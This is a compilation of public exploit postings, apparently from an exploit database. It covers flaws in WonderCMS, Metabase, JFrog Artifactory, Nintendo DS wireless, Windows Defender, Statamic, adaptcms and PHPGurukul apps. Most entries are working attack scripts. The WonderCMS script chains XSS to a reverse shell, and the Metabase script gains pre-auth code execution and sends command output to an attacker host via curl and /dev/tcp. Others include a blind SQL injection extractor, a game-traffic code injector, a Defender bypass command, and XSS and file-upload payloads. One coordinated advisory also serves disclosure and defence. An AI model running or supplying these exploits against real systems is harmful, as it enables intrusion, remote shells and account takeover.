<pre><code># Exploit Title: Online Library Management System v3 - Password Reset and Email Matching Vulnerability<br /># Date: 12.09.2023<br /># Exploit Author: SoSPiro<br /># Vendor Homepage: https://phpgurukul.com/<br /># Software Link: https://phpgurukul.com/online-library-management-system/<br /># Version: v3<br /># Tested on: Windows 10 Pro 64 Bit + Wampserver V3.3<br /># CVE: N/A<br /><br />## Description:<br />This report outlines a security vulnerability present in the web application called [Application Name]. This vulnerability allows users to create multiple accounts with the same email address and use that email address during the password reset process. This situation can compromise the security of user accounts.<br /><br />## Risk Level:<br />This vulnerability can lead to serious security risks, including unauthorized access to user accounts and identity theft. It has the potential to have a significant impact.<br /><br />## Step-by-Step Description:<br />1. User creates an account as "user1," with the email address set as "user@gmail.com."<br />2. User creates another account as "user2" and uses the same email address, "user@gmail.com."<br />3. User2 initiates a password reset process when forgetting the password.<br />4. As a result of the password reset process, the password for the "user1" account is also reset and can be controlled by "user2."<br /></code></pre>
<pre><code># Author: prodigiousMind<br /># Exploit: Wondercms 4.3.2 XSS to RCE<br /><br /><br />import sys<br />import requests<br />import os<br />import bs4<br /><br />if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252")<br />else:<br /> data = '''<br />var url = "'''+str(sys.argv[1])+'''";<br />if (url.endsWith("/")) {<br /> url = url.slice(0, -1);<br />}<br />var urlWithoutLog = url.split("/").slice(0, -1).join("/");<br />var urlWithoutLogBase = new URL(urlWithoutLog).pathname; <br />var token = document.querySelectorAll('[name="token"]')[0].value;<br />var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token;<br />var xhr3 = new XMLHttpRequest();<br />xhr3.withCredentials = true;<br />xhr3.open("GET", urlRev);<br />xhr3.send();<br />xhr3.onload = function() {<br /> if (xhr3.status == 200) {<br /> var xhr4 = new XMLHttpRequest();<br /> xhr4.withCredentials = true;<br /> xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php");<br /> xhr4.send();<br /> xhr4.onload = function() {<br /> if (xhr4.status == 200) {<br /> var ip = "'''+str(sys.argv[2])+'''";<br /> var port = "'''+str(sys.argv[3])+'''";<br /> var xhr5 = new XMLHttpRequest();<br /> xhr5.withCredentials = true;<br /> xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);<br /> xhr5.send();<br /> <br /> }<br /> };<br /> }<br />};<br />'''<br /> try:<br /> open("xss.js","w").write(data)<br /> print("[+] xss.js is created")<br /> print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp "+str(sys.argv[3]))<br /> print("----------------------------\n")<br /> XSSlink = str(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(sys.argv[2])+":8000/xss.js\"></script><form+action=\""<br /> XSSlink = XSSlink.strip(" ")<br /> print("send the below link to admin:\n\n----------------------------\n"+XSSlink)<br /> print("----------------------------\n")<br /><br /> print("\nstarting HTTP server to allow the access to xss.js")<br /> os.system("python3 -m http.server\n")<br /> except: print(data,"\n","//write this to a file")<br /> <br /><br /></code></pre>
<pre><code>#Exploit Title: User Registration & Login and User Management System With admin panel 3.1 - SQL injection<br /># Application: User Registration & Login and User Management System<br /># Date: 17.02.2024<br /># Bugs: SQL Injection <br /># Exploit Author: SoSPiro<br /># Vendor Homepage: https://phpgurukul.com/<br /># Software Link: https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/<br /># Tested on: Windows 10 64 bit Wampserver <br /><br />## Description:<br />The file bwdates-report-result.php contains a potential security vulnerability related to user input validation. The script retrieves user-provided date inputs without proper validation, making it susceptible to SQL injection attacks.<br /><br /><br />## Vulnerability Details:<br />- **Application Name**: User Registration & Login and User Management System<br />- **Software Link**: [Download Link](https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/)<br />- **Vendor Homepage**: [Vendor Homepage](https://phpgurukul.com/)<br /><br />- The vulnerability lies in the following code snippet:<br /><br /><?php<br />$fdate=$_POST['fromdate'];<br />$tdate=$_POST['todate'];<br /><br />?><br /><br /><?php $ret=mysqli_query($con,"select * from users where date(posting_date) between '$fdate' and '$tdate'");<br />$cnt=1;<br />while($row=mysqli_fetch_array($ret))<br />{?><br /><br /><br />The script directly uses the user-supplied $fdate and $tdate variables in an SQL query without validating or sanitizing the input. This creates a potential avenue for malicious users to manipulate the query and perform SQL injection attacks.<br /><br /><br />## Vulnerability Description:<br /><br />An attacker can exploit this vulnerability by crafting malicious input for the fromdate and todate parameters. By injecting SQL code into these fields, an attacker could manipulate the query to perform unauthorized actions on the database, potentially exposing sensitive information or even modifying the database contents.<br /><br /><br />## Proof of Concept (PoC):<br />1. Visit the application locally at http://localhost/loginsystem/admin/ and login as admin<br />admin user credentials which are installed by default<br /><br />Username: admin<br />Password: Test@12345<br /><br />2. Go to "B/w Dates Report": http://localhost/loginsystem/admin/bwdates-report-ds.php<br />3. Change the "To Datev" or "From Date" values. You can use this query by manipulating proxy tools like Burp Suite payload= "' OR '1'='1'; --".<br /></code></pre>
<pre><code>[+] Credits: John Page (aka hyp3rlinx) <br />[+] Website: hyp3rlinx.altervista.org<br />[+] Source: https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_TROJAN.WIN32.POWESSERE.G_MITIGATION_BYPASS_PART_3.txt<br />[+] twitter.com/hyp3rlinx<br />[+] ISR: ApparitionSec <br /> <br /><br />[Vendor]<br />www.microsoft.com<br /><br /><br />[Product]<br />Windows Defender<br /><br /><br />[Vulnerability Type]<br />Windows Defender Detection Mitigation Bypass<br />TrojanWin32Powessere.G<br /><br /><br />[CVE Reference]<br />N/A<br /><br /><br />[Security Issue]<br />Typically, Windows Defender detects and prevents TrojanWin32Powessere.G aka "POWERLIKS" type execution that leverages rundll32.exe. Attempts at execution fail<br />and attackers will typically get an "Access is denied" error message.<br /><br />Back in 2022, I first disclosed how that could be easily bypassed by passing an extra path traversal when referencing mshtml but since has been mitigated.<br />Recently Feb 7, 2024, I disclosed using multi-commas "," will bypass that mitigation but has since been fixed again.<br />The fix was short lived as I find yet another third trivial bypass soon after.<br /><br /><br />[Exploit/POC]<br />Open command prompt as Administrator.<br /><br />C:\sec>rundll32.exe javascript:"\..\..\mshtml,,RunHTMLApplication ";alert(13)<br />Access is denied.<br /><br />C:\sec>rundll32.exe javascript:"\\..\\..\\mshtml\\..\\..\\mshtml,RunHTMLApplication ";alert('HYP3RLINX')<br /><br /><br />[Video PoC URL]<br />https://www.youtube.com/watch?v=yn9gdJ7c7Kg<br /><br /><br />[Network Access]<br />Local<br /><br /><br />[Severity]<br />High<br /><br /><br />[References]<br />https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_DETECTION_BYPASS.txt<br />https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_TROJAN.WIN32.POWESSERE.G_MITIGATION_BYPASS_PART2.txt<br />https://twitter.com/hyp3rlinx/status/1755417914599956833<br />https://twitter.com/hyp3rlinx/status/1758624140213264601<br /><br /><br />[Disclosure Timeline]<br />Vendor Notification: <br />February 16, 2024 : Public Disclosure<br /><br /><br />[+] Disclaimer<br />The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.<br />Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and<br />that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit<br />is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility<br />for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information<br />or exploits by the author or elsewhere. All content (c).<br /><br />hyp3rlinx<br /></code></pre>
<pre><code># Exploit Title: artifactory low-privileged blind sql injection<br /># Google Dork:<br /># Date: <br /># Exploit Author: ardr<br /># Vendor Homepage:https://jfrog.com/help/r/jfrog-release-information/cve-2021-3860-artifactory-low-privileged-blind-sql-injection<br /># Software Link: https://jfrog.com/help/r/jfrog-release-information/cve-2021-3860-artifactory-low-privileged-blind-sql-injection<br /># Version: JFrog Artifactory prior to 7.25.4<br /># Tested on: MySQL<br /># CVE : CVE-2021-3860<br /><br />import requests, string, time<br />from sys import stdout,exit<br />import warnings<br />from requests.packages.urllib3.exceptions import InsecureRequestWarning<br /><br /># written by 75fc58fa86778461771d2ff7f68b28259e97ece9bf6cd8be227c70e6a6140314c97d3fdac30b290c6b10d3679c5ba890635a1ca6fa23c83481dfc1257cd062fd<br /># old script for CVE-2021-3860<br /># log into artifactory with any user. there must be populated data in the system. a fresh install will not work.<br /># you will need to be able to capture a valid request to the below endpoint in order to run this script.<br /># once captured, replace the cookies and headers below<br /><br /><br />warnings.simplefilter('ignore',InsecureRequestWarning)<br /><br /><br />session = requests.session()<br />base = input("Please enter the base url: ")<br />url = f"{base}/ui/api/v1/global-search/bundles/received?$no_spinner=true"<br /># headers = Replace this with captured headers from the above endpoint <br />pos = 1<br /># cookies = Replace this with captured cookies from the above endpoint <br /><br /><br />while True:<br /> for i in string.digits + '.':<br /> data={"after": "", "before": "", "direction": "asc", "name": "*", "num_of_rows": 100, "order_by": f"(select*from(select((CASE WHEN (MID(VERSION(),{pos},1) = '{i}') THEN SLEEP(5) ELSE 4616 END)))a)"}<br /> start = time.time()<br /> r = session.post(url, headers=headers, cookies=cookies, json=data, verify=False)<br /> request_time = time.time() - start<br /> if request_time > 5:<br /> version += i<br /> pos += 1<br /> stdout.write(i)<br /> stdout.flush()<br /> break<br /> if len(version) >= 6:<br /> stdout.write("\n")<br /> print(f"Version found: MySQL {version}")<br /> exit(0)<br /> <br /></code></pre>
<pre><code># Exploit Title: metabase 0.46.6 - Pre-Auth Remote Code Execution<br /># Google Dork: N/A<br /># Date: 13-10-2023<br /># Exploit Author: Musyoka Ian<br /># Vendor Homepage: https://www.metabase.com/<br /># Software Link: https://www.metabase.com/<br /># Version: metabase 0.46.6<br /># Tested on: Ubuntu 22.04, metabase 0.46.6<br /># CVE : CVE-2023-38646<br /><br />#!/usr/bin/env python3<br /><br />import socket<br />from http.server import HTTPServer, BaseHTTPRequestHandler<br />from typing import Any<br />import requests<br />from socketserver import ThreadingMixIn<br />import threading<br />import sys<br />import argparse<br />from termcolor import colored<br />from cmd import Cmd<br />import re<br />from base64 import b64decode<br /><br /><br />class Termial(Cmd):<br /> prompt = "metabase_shell > "<br /> def default(self,args):<br /> shell(args)<br /><br /><br />class Handler(BaseHTTPRequestHandler):<br /> def do_GET(self):<br /> global success<br /> if self.path == "/exploitable":<br /> <br /> self.send_response(200)<br /> self.end_headers()<br /> self.wfile.write(f"#!/bin/bash\n$@ | base64 -w 0 > /dev/tcp/{argument.lhost}/{argument.lport}".encode())<br /> success = True<br /><br /> else:<br /> print(self.path)<br /> #sys.exit(1)<br /> def log_message(self, format: str, *args: Any) -> None:<br /> return None<br /><br />class Server(HTTPServer):<br /> pass<br /><br />def run():<br /> global httpserver<br /> httpserver = Server(("0.0.0.0", argument.sport), Handler)<br /> httpserver.serve_forever()<br /><br />def exploit():<br /> global success, setup_token<br /> print(colored("[*] Retriving setup token", "green"))<br /> setuptoken_request = requests.get(f"{argument.url}/api/session/properties")<br /> setup_token = re.search('"setup-token":"(.*?)"', setuptoken_request.text, re.DOTALL).group(1)<br /> print(colored(f"[+] Setup token: {setup_token}", "green"))<br /> print(colored("[*] Tesing if metabase is vulnerable", "green"))<br /> payload = {<br /> "token": setup_token,<br /> "details":<br /> {<br /> "is_on_demand": False,<br /> "is_full_sync": False,<br /> "is_sample": False,<br /> "cache_ttl": None,<br /> "refingerprint": False,<br /> "auto_run_queries": True,<br /> "schedules":<br /> {},<br /> "details":<br /> {<br /> "db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('http://{argument.lhost}:{argument.sport}/exploitable').openConnection().getContentLength()\n$$--=x\\;",<br /> "advanced-options": False,<br /> "ssl": True<br /> },<br /> "name": "an-sec-research-musyoka",<br /> "engine": "h2"<br /> }<br /> }<br /> timer = 0<br /> print(colored(f"[+] Starting http server on port {argument.sport}", "blue"))<br /> thread = threading.Thread(target=run, )<br /> thread.start()<br /> while timer != 120:<br /> test = requests.post(f"{argument.url}/api/setup/validate", json=payload)<br /> if success == True :<br /> print(colored("[+] Metabase version seems exploitable", "green"))<br /> break<br /> elif timer == 120:<br /> print(colored("[-] Service does not seem exploitable exiting ......", "red"))<br /> sys.exit(1)<br /><br /> print(colored("[+] Exploiting the server", "red"))<br /> <br /><br /> terminal = Termial()<br /> terminal.cmdloop()<br /><br /><br />def shell(command):<br /> global setup_token, payload2<br /> payload2 = {<br /> "token": setup_token,<br /> "details":<br /> {<br /> "is_on_demand": False,<br /> "is_full_sync": False,<br /> "is_sample": False,<br /> "cache_ttl": None,<br /> "refingerprint": False,<br /> "auto_run_queries": True,<br /> "schedules":<br /> {},<br /> "details":<br /> {<br /> "db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl {argument.lhost}:{argument.sport}/exploitable -o /dev/shm/exec.sh')\n$$--=x",<br /> "advanced-options": False,<br /> "ssl": True<br /> },<br /> "name": "an-sec-research-team",<br /> "engine": "h2"<br /> }<br /> }<br /> <br /> output = requests.post(f"{argument.url}/api/setup/validate", json=payload2)<br /> bind_thread = threading.Thread(target=bind_function, )<br /> bind_thread.start()<br /> #updating the payload<br /> payload2["details"]["details"]["db"] = f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash /dev/shm/exec.sh {command}')\n$$--=x"<br /> requests.post(f"{argument.url}/api/setup/validate", json=payload2)<br /> #print(output.text)<br /><br /><br />def bind_function():<br /> try:<br /> sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br /> sock.bind(("0.0.0.0", argument.lport))<br /> sock.listen()<br /> conn, addr = sock.accept()<br /> data = conn.recv(10240).decode("ascii")<br /> print(f"\n{(b64decode(data)).decode()}")<br /> except Exception as ex:<br /> print(colored(f"[-] Error: {ex}", "red"))<br /> pass<br /> <br /><br /><br />if __name__ == "__main__":<br /> print(colored("[*] Exploit script for CVE-2023-38646 [Pre-Auth RCE in Metabase]", "magenta"))<br /> args = argparse.ArgumentParser(description="Exploit script for CVE-2023-38646 [Pre-Auth RCE in Metabase]")<br /> args.add_argument("-l", "--lhost", metavar="", help="Attacker's bind IP Address", type=str, required=True)<br /> args.add_argument("-p", "--lport", metavar="", help="Attacker's bind port", type=int, required=True)<br /> args.add_argument("-P", "--sport", metavar="", help="HTTP Server bind port", type=int, required=True)<br /> args.add_argument("-u", "--url", metavar="", help="Metabase web application URL", type=str, required=True)<br /> argument = args.parse_args()<br /> if argument.url.endswith("/"):<br /> argument.url = argument.url[:-1]<br /> success = False<br /> exploit()<br /> <br /><br /><br /></code></pre>
<pre><code># Exploit Title: DS Wireless Communication Remote Code Execution<br /># Date: 11 Oct 2023<br /># Exploit Author: MikeIsAStar<br /># Vendor Homepage: https://www.nintendo.com<br /># Version: Unknown<br /># Tested on: Wii<br /># CVE: CVE-2023-45887<br /><br />"""This code will inject arbitrary code into a client's game.<br /><br />You are fully responsible for all activity that occurs while using this code.<br />The author of this code can not be held liable to you or to anyone else as a<br />result of damages caused by the usage of this code.<br />"""<br /><br />import re<br />import sys<br /><br />try:<br /> import pydivert<br />except ModuleNotFoundError:<br /> sys.exit("The 'pydivert' module is not installed !")<br /><br /><br /># Variables<br />LR_SAVE = b'\x41\x41\x41\x41'<br />assert len(LR_SAVE) == 0x04<br />PADDING = b'MikeStar'<br />assert len(PADDING) > 0x00<br /><br /># Constants<br />DWC_MATCH_COMMAND_INVALID = b'\xFE'<br />PADDING_LENGTH = 0x23C<br />FINAL_KEY = b'\\final\\'<br />WINDIVERT_FILTER = 'outbound and tcp and tcp.PayloadLength > 0'<br /><br /><br />def try_modify_payload(payload):<br /> message_pattern = rb'\\msg\\GPCM([1-9][0-9]?)vMAT'<br /> message = re.search(message_pattern, payload)<br /> if not message:<br /> return None<br /><br /> payload = payload[:message.end()]<br /> payload += DWC_MATCH_COMMAND_INVALID<br /> payload += (PADDING * (PADDING_LENGTH // len(PADDING) + 1))[:PADDING_LENGTH]<br /> payload += LR_SAVE<br /> payload += FINAL_KEY<br /> return payload<br /><br /><br />def main():<br /> try:<br /> with pydivert.WinDivert(WINDIVERT_FILTER) as packet_buffer:<br /> for packet in packet_buffer:<br /> payload = try_modify_payload(packet.payload)<br /> if payload is not None:<br /> print('Modified a GPCM message !')<br /> packet.payload = payload<br /> packet_buffer.send(packet)<br /> except KeyboardInterrupt:<br /> pass<br /> except PermissionError:<br /> sys.exit('This program must be run with administrator privileges !')<br /><br /><br />if __name__ == '__main__':<br /> main()<br /> <br /></code></pre>
<pre><code>SEC Consult Vulnerability Lab Security Advisory < 20240212-0 ><br />=======================================================================<br /> title: Multiple Stored Cross-Site Scripting vulnerabilities<br /> product: Statamic CMS<br /> vulnerable version: <4.46.0, <3.4.17<br /> fixed version: >=4.46.0, >=3.4.17<br /> CVE number: CVE-2024-24570<br /> impact: high<br /> homepage: https://statamic.com/<br /> found: 2024-01-06<br /> by: Niklas Schilling (Office Munich)<br /> SEC Consult Vulnerability Lab<br /><br /> An integrated part of SEC Consult, an Eviden business<br /> Europe | Asia<br /><br /> https://www.sec-consult.com<br /><br />=======================================================================<br /><br />Vendor description:<br />-------------------<br />"Statamic is a modern, clean, and highly adaptable CMS built on Laravel<br />that can run full-stack, headless, on flat files or databases, or as a<br />static site generator."<br /><br />Source: https://statamic.com/<br /><br /><br />Business recommendation:<br />------------------------<br />The vendor provides a patch which should be installed immediately. Furthermore,<br />an updated guideline for implementing a Content Security Policy (CSP) is<br />provided by the vendor.<br /><br />SEC Consult highly recommends to perform a thorough security review of the<br />product conducted by security professionals to identify and resolve potential<br />further security issues.<br /><br /><br />Vulnerability overview/description:<br />-----------------------------------<br />1) Stored Cross-Site Scripting in Forms feature (CVE-2024-24570)<br />Statamic's Forms feature allows unauthenticated users to upload certain<br />filetypes. While only a limited number of file extensions are allowed, it's<br />possible to bypass these restrictions to upload an HTML file containing<br />JavaScript code.<br /><br />2) Stored Cross-Site Scripting in Link Field<br />Statamic's Link Field feature provides authenticated users a convenient way<br />of inserting Hyperlinks into a collection's entry. It was identified that<br />it's possible to execute JavaScript code upon clicking on a specially<br />crafted Hyperlink.<br /><br /><br />Proof of concept:<br />-----------------<br />1) Stored Cross-Site Scripting in Forms feature (CVE-2024-24570)<br />When trying to upload an HTML file as an unauthenticated user, the<br />.html extension gets correctly detected by Statamic, leading to the file<br />being blocked from uploading.<br /><br />This check can be bypassed though, by instead using a .jpg file extension,<br />as files of this type are allowed to be uploaded. Afterwards, the file's<br />content is analyzed by Statamic and correctly interpreted as HTML, resulting<br />in the initial .jpg extension being replaced with an .html extension. As no<br />checks on this newly set file extension are performed, the file is now shown<br />as a valid submission in Statamic's "Forms" page.<br /><br />If an authenticated user accesses this submission, the included JavaScript<br />code will be executed. This can be verified by uploading a file called<br />"test.jpg" with the following content:<br /><br /><!DOCTYPE html><br /><html><br /> <body><br /> <script>alert("Stored XSS on "+window.origin)</script><br /> </body><br /></html><br /><br />To further demonstrate the criticality of this vulnerability, the following<br />JavaScript code can be used:<br /><br />[ POC code removed from public advisory ]<br /><br /><br />When an admin user now accesses this JavaScript submission, the following happens:<br />1. Load the "Users" page in a hidden iframe and extract the CSRF token from it.<br />2. Request user information and extract the user ID and email address from<br /> the response.<br />3. Request a password reset code for the extracted used ID.<br />4. Extract the password reset code from the response and send it to the<br /> attacker server including the user's email address.<br /><br />After receiving the victim's password reset code and email address,<br />the attacker can now visit the following URL and set a new password:<br />https://<STATAMIC_SERVER>/!/auth/password/reset/<PASSWORD_RESET_CODE><br /><br />This results in a successful takeover of the victim's account.<br /><br /><br />2) Stored Cross-Site Scripting in Link Field<br />When using a Link Field of type "URL", the following XSS payload can be used<br />as input:<br />javascript:var js=document.createElement('script');js.src='https://<ATTACKER_SERVER>/poc.js';document.body.append(js)<br /><br /><br />As this input is typically placed in the "href" attribute of an anchor tag,<br />the JavaScript pseudo protocol can be used to execute arbitrary JavaScript<br />code upon clicking on the Hyperlink. In this case the external file "poc.js"<br />will be loaded, which contains the JavaScript code from the password reset<br />code stealer above (removed from public advisory).<br /><br />This way, an authenticated user with lower privileges can gain control over an<br />admin's account after the admin clicks on the malicious Hyperlink.<br /><br />Statamic's "sanitize" modifier doesn't prevent this attack, as no illegal<br />characters are being used in the XSS payload:<br /><a href="{{ url_link | sanitize }}">Link</a><br /><br /><br />Vulnerable / tested versions:<br />-----------------------------<br />The following version has been tested which was the latest version available<br />at the time of the test:<br />* 4.45.0<br /><br />The following Statamic CMS versions are affected by this vulnerability:<br />* <4.46.0<br />* <3.4.17<br /><br /><br />Vendor contact timeline:<br />------------------------<br />2024-01-24: Contacting vendor through support@statamic.com<br />2024-01-24: Vendor confirms receipt of advisory and states that they aim to<br /> resolve the issues within the next few days.<br />2024-01-26: Vendor fixes the first stored XSS and shares the corresponding<br /> GitHub security advisory draft. Furthermore, valid arguments for<br /> mitigating the second stored XSS via a correctly set CSP are<br /> supplied. Vendor also creates a new documentation page for<br /> setting the CSP in the correct areas.<br />2024-01-26: Confirming that setting a correctly configured CSP for the<br /> necessary areas results in a higher efficiency in mitigating the<br /> second security issue.<br />2024-01-29: Suggesting an adjustment of the assigned CVSS3.1 score that was<br /> set in the vendor's GitHub security advisory. Also asking for<br /> planned public disclosure and the assignment of a CVE number.<br />2024-01-29: Vendor adjusts CVSS3.1 score and suggests requesting a<br /> CVE number via GitHub.<br />2024-01-30: Received CVE number CVE-2024-24570.<br />2024-02-12: Coordinated release of advisory.<br /><br /><br />Solution:<br />---------<br />The vendor provided a patch for the "Stored Cross-Site Scripting in Forms" feature<br />(CVE-2024-24570):<br /><br />* Update version "4.X" to "4.46.0" or later<br />* Update version "3.X" to "3.4.17" or later<br /><br />Get the newest release of Statamic CMS here:<br />https://github.com/statamic/cms/releases<br /><br />The vendor will not provide a patch regarding "Stored Cross-Site Scripting in<br />Link Field" but suggests to implement a correctly configured CSP as described<br />in Statamic's newly added documentation page:<br /><br />https://statamic.dev/tips/content-security-policy<br /><br />Vendor advisory:<br />https://github.com/statamic/cms/security/advisories/GHSA-vqxq-hvxw-9mv9<br /><br /><br />Workaround:<br />-----------<br />No workaround available.<br /><br /><br />Advisory URL:<br />-------------<br />https://sec-consult.com/vulnerability-lab/<br /><br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />SEC Consult Vulnerability Lab<br />An integrated part of SEC Consult, an Eviden business<br />Europe | Asia<br /><br />About SEC Consult Vulnerability Lab<br />The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an<br />Eviden business. It ensures the continued knowledge gain of SEC Consult in the<br />field of network and application security to stay ahead of the attacker. The<br />SEC Consult Vulnerability Lab supports high-quality penetration testing and<br />the evaluation of new offensive and defensive technologies for our customers.<br />Hence our customers obtain the most current information about vulnerabilities<br />and valid recommendation about the risk profile of new technologies.<br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />Interested to work with the experts of SEC Consult?<br />Send us your application https://sec-consult.com/career/<br /><br />Interested in improving your cyber security with the experts of SEC Consult?<br />Contact our local offices https://sec-consult.com/contact/<br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />Mail: security-research at sec-consult dot com<br />Web: https://www.sec-consult.com<br />Blog: https://blog.sec-consult.com<br />Twitter: https://twitter.com/sec_consult<br /><br />EOF Niklas Schilling / @2024<br /><br /></code></pre>
<pre><code># Exploit Title: Stored XSS and RCE - adaptcmsv3.0.3<br /># Date: 02/2024<br /># Exploit Author: Andrey Stoykov<br /># Version: 3.0.3<br /># Tested on: Ubuntu 22.04<br /># Blog: http://msecureltd.blogspot.com<br /><br /><br /> *Description*<br /><br />- It was found that adaptcms v3.0.3 was vulnerable to stored cross<br />site scripting<br /><br />- Also the application allowed the file upload functionality to upload<br />PHP files which resulted in remote code execution<br /><br /><br />*Stored XSS*<br /><br /><br />*Steps to Reproduce:*<br /><br /><br /> 1. Login as admin and add a new article<br /> 2. In "Title" add the following payload <svg><animate<br />onbegin=alert(1) attributeName=x dur=1s><br /> 3. The stored XSS would be triggered upon visiting the article by<br />normal user<br /><br /><br />// HTTP POST request<br /><br />POST /adaptcms/admin/articles/preview/?preview=1 HTTP/1.1<br /><br />Host: 192.168.232.133<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)<br />AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63<br />Safari/537.36<br />[...]<br /><br />_method=PUT&data%5B_Token%5D%5Bkey%5D=357ba58e7871f0849edd3c623771a379e2fc1a2c&*data%5BArticle%5D%5Btitle%5D=%3Csvg%3E%3Canimate+onbegin%3Dalert(1)+attributeName%3Dx+dur%3D1s%3E*&data%5BArticleValue%5D%5B0%5D%5Bdata%5D=%3Cp%3ETest%3C%2Fp%3E[...]<br /><br /><br />// HTTP GET request<br /><br />GET /adaptcms/admin/articles/preview HTTP/1.1<br />Host: 192.168.232.133<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)<br />AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63<br />Safari/537.36<br />[...]<br /><br />// HTTP response<br /><br />HTTP/1.1 200 OK<br />Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40<br />mod_perl/2.0.8-dev Perl/v5.16.3<br />[...]<br /><br />[...]<br /><!DOCTYPE html><br /><html lang="en"><br /><head><br /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> *<title>*<br />* AdaptCMS 3.0.3 | <svg><animate onbegin=alert(1) attributeName=x<br />dur=1s> </title>*<br />[...]<br /><br /><br />*Unrestricted File Upload*<br /><br /><br />*Steps to Reproduce:*<br /><br /><br /> 1. Login as admin and visit the "Media" page<br /> 2. Click on "Files" then use the "Add File" functionality<br /> 3. In "File Contents" add the following PHP code <?php phpinfo(); ?><br /><br /><br />// HTTP POST request<br /><br />POST /adaptcms/admin/files/add HTTP/1.1<br />Host: 192.168.232.133<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)<br />AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63<br />Safari/537.36<br />[...]<br /><br />[...]<br />------WebKitFormBoundaryVO2wc6i6YcQWk3oU<br />*Content-Disposition: form-data; name="data[0][File][dir]"*<br /><br />*uploads/*<br />------WebKitFormBoundaryVO2wc6i6YcQWk3oU<br />Content-Disposition: form-data; name="data[0][File][mimetype]"<br /><br /><br />------WebKitFormBoundaryVO2wc6i6YcQWk3oU<br />Content-Disposition: form-data; name="data[0][File][filesize]"<br /><br /><br />------WebKitFormBoundaryVO2wc6i6YcQWk3oU<br />*Content-Disposition: form-data; name="data[File][content]"*<br /><br />*<?php phpinfo(); ?>*<br />------WebKitFormBoundaryVO2wc6i6YcQWk3oU<br />[...]<br /><br />// HTTP response<br /><br />HTTP/1.1 302 Found<br />Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40<br />mod_perl/2.0.8-dev Perl/v5.16.3<br />X-Powered-By: PHP/5.6.40<br />*Location: http://192.168.232.133/adaptcms/admin/files<br /><http://192.168.232.133/adaptcms/admin/files>*<br />[...]<br /><br /><br />// HTTP GET request<br /><br />GET /adaptcms/uploads/*test-php.php* HTTP/1.1<br />Host: 192.168.232.133<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)<br />AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63<br />Safari/537.36<br />[...]<br /><br /><br />// HTTP response<br /><br />HTTP/1.1 200 OK<br />Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40<br />mod_perl/2.0.8-dev Perl/v5.16.3<br />X-Powered-By: PHP/5.6.40<br />[...]<br /><br />[...]<br /><h1 class="p">*PHP Version 5.6.40*</h1><br /></td></tr><br /></table><br /><table><br /><tr><td class="e">System </td><td class="v">*Linux ubuntu<br />6.5.0-15-generic #15~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 12<br />18:54:30 UTC 2 x86_64* </td></tr><br />[...]<br /><br /></code></pre>
